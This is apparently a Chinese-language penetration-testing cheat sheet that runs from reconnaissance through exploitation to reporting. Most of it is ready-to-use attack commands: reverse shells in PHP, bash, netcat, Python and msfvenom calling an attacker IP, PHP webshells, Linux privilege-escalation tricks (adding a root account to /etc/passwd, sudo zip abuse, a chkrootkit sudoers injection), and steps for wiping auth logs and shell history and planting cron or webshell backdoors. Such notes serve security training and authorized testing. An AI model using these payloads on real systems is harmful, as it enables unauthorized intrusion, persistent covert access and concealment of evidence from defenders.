1信息收集
1.1主机发现
netdiscover -i 网卡 -r 网段
nmap -sn 网段
1.2端口扫描
masscan --rate=速度 --ports=0-65535 ip地址
1.3版本操作系统端口识别
nmap -T4(速度) -sV(版本) -O(操作系统) -p(端口逗号隔开)80,22 ip地址
1.4网页目录扫描
dirb url (可以用dpkg -L dirb查看字典,更换字典)
也可以用御剑,dirbuster图形化界面
1.5收集:
域名信息、邮件地址、文档图片数据、公司地址、公司组织架构、联系电话、传 真、人员姓名,职务、目标系统使用的技术架构、公开的商业信息
2漏洞扫描
可以手动测试,或者用工具测试
sql注入
可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入
xss跨站脚本攻击
查看代码,查找关键的变量,客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie,从中判断是否存在xss
CSRF跨站请求伪造
用户登录,服务器不存在二次认证,被害者不知情
文件包含漏洞
查看是否存在?page= ?file= ?home=
文件上传漏洞
查看是否有文件上传点(能上传木马),上传的木马能执行,清楚上传后的路径
文件解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断.如a.php.jpg解析为a.php
命令执行漏洞
通过& && | || ;执行被限制的命令
弱口令暴力破解
用burpsuite抓包,导入到instruder,然后进行暴力破解
...
扫描工具
awvs
appscan
owaspzap
nessus
sqlmap
...
3漏洞利用
通过扫描到的漏洞进行漏洞利用,只利用一个漏洞很难拿到shell,所以一般情况都是结合几个漏洞拿到shell
常用的反弹shell命令:
php
<?php $sock=fsockopen("192.168.5.4",443);exec("/bin/sh -i <&3 >&3 2>&3")?>
菜刀连接
<?php @eval($_POST[cmd]);?>
执行系统命令
<?php system($_GET[cmd]);?>
shell命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.5.4 443 >/tmp/f
echo "bash -i >&/dev/tcp/192.168.5.4/1999 0>&1" | bash
阻塞浏览器
cmd=mkfifo /tmp/t
cmd=cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t)
msf制作脚本
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.5.4 LPORT=443 > 443.php
python脚本
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.5.4",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
在url上输入命令时,要将命令用url编码
4提权
4.1 linux提权
4.1.1使用漏洞提权
searchsploit 搜索版本
开启apache
wget,scp或者菜刀上传.c文件到/tmp下
编译.c文件
gcc .c文件 -o exp
给exp赋予权限
chmod 777 exp
执行
./exp
4.1.2使用脏牛提权
步骤同上,
编译时用
gcc -pthread dirty.c -o exp -lcrypt
4.1.3使用配置不当提权
(1)/etc/passwd是否具有权限,如果有,可以加入一个root权限用户
perl -le 'print crypt("pass","aa")' 给密码pass加密
echo "hack:加密过的密码:0:0:hack:/root:/bin/bash" >> passwd
(2)用户具有sudo命令权限时
创建一个终端
awk 'BEGIN{system("/bin/bash")}' 或 python -c 'import pty;pty.spawn("/bin/bash")'
sudo su root
(3)如果有sudo权限,
sudo -l
若显示有
(root)NOPASSWD:/bin/tar
(root)NOPASSWD:/usr/bin/zip
tar、zip命令可以使用无密码进行执行
提权:
touch exploit
sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty;pty.spawn("/bin/sh")'"
(4)chkrootkit漏洞
cd/tmp
touch /tmp/update
chmod +x /tmp/update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)PASSWD:ALL" >> /etc/sudoers'> /tmp/update
sudo su root
4.1.5使用corntab提权
该文件中可定义指定命令的运行周期及具体时间,同时 /etc 下 的 cron.hourly、cron.daily、cron.weekly、cron.monthly 目 录分别用于存放每小时、每天、每周、每月需定期执行的脚本。通过查看目录下的脚本,看普通用户是否有修改权限,然后添加用户权限。
4.2 windows提权
4.2.1 进程注入提权
pinjector -l 查看进程
pinjector -p pid cmd 端口
5清除痕迹,留后门
身份认证日志
/var/log/auth.log
错误登录日志
/var/log/btmp
历史操作记录清除
history -c
直接清空,例btmp
echo > /var/log/btmp
或者用sed命令清除后几行
sed -i 'N,Md' filename(第N到M行删除)
后门
可以写脚本,然后加入到crontab定时执行,也可以写一句话木马用菜刀连接
也可以创建一个新的管理员用户
6写渗透测试报告